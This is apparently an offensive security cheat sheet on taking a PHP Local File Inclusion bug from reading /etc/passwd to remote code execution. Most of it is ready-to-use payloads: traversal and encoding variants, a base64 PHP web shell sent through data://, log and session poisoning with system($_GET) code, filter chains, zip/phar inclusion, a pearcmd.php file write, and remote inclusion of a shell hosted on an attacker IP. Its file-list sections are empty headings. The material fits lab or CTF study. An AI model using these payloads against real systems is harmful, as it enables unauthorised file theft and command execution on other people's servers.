LFI: from reading /etc/passwd to running commands

A Local File Inclusion shows up when the application builds a path from your input (?page=contact → include("pages/contact.php")) without checking it. With ../ you escape the folder and read, or even execute, other files on the server.

First of all, work out what you have:

• Read (file_get_contents, readfile, send_file...): you see the content as is. Good for stealing files.
• Include (include, require in PHP): the file is executed if it contains PHP code. This is the one that can end in RCE.

Detecting it

?page=../../../../../../etc/passwd
?page=/etc/passwd
?page=....//....//....//etc/passwd
?page=..%2f..%2f..%2fetc%2fpasswd
?page=%252e%252e%252fetc%252fpasswd
?page=../../../../etc/passwd%00

To try lots of variants at once:

ffuf -u 'http://web/index.php?page=FUZZ' -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 0

PHP wrappers

If the code is PHP, wrappers are your main tool.

# Read a .php file's source without it running (comes out base64)
?page=php://filter/convert.base64-encode/resource=index.php
?page=php://filter/convert.base64-encode/resource=config

# Run code (need allow_url_include=On, which is rare)
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==&c=id
?page=php://input            (with the PHP code in a POST body)

# With the expect extension installed (very rare)
?page=expect://id

Reading the source is almost always the next step: it gives you database credentials, other vulnerable routes or the exact names of the files it includes.

Which files to read

Linux

Windows

From LFI to RCE

Log poisoning

If you can include the web server log, write PHP into it (for example in the User-Agent) and then include it:

curl -A '<?php system($_GET["c"]); ?>' http://web/
curl 'http://web/index.php?page=/var/log/apache2/access.log&c=id'

Usual logs: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/auth.log (injecting into the username of a failed SSH login) or /var/log/vsftpd.log.

PHP sessions

If something you control is stored in the session (username, language...), it lives in /var/lib/php/sessions/sess_<PHPSESSID>. Put PHP in that value and include the file.

PHP filter chains

By chaining convert.iconv filters in php://filter you can build any text, PHP code included, without uploading anything. All you need is an include with a controlled path:

python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

The tool (by Synacktiv) gives you a huge string you paste as the parameter value.

Upload a file and include it

If there is a file upload (a profile picture, an attachment), even one that only takes images, you can upload a file with PHP inside and include it by its path. If the extension gets changed, the zip:// and phar:// wrappers let you include a PHP file from inside a ZIP:

?page=zip:///var/www/html/uploads/avatar.jpg%23shell.php

pearcmd.php

Many official PHP Docker images ship /usr/local/lib/php/pearcmd.php with register_argc_argv on. Including it with arguments in the URL lets you write a file with your code:

?page=/usr/local/lib/php/pearcmd.php&+config-create+/<?=system($_GET['c'])?>+/tmp/c.php

(Send it with Burp or curl, since a browser would encode < and ?.) Then ?page=/tmp/c.php&c=id.

RFI

If allow_url_include is on (or on Windows, with UNC paths), you can include a file of your own directly:

echo '<?php system($_GET["c"]); ?>' > s.php && python3 -m http.server 80
# ?page=http://10.10.14.5/s.php&c=id

See the RFI machines for real cases.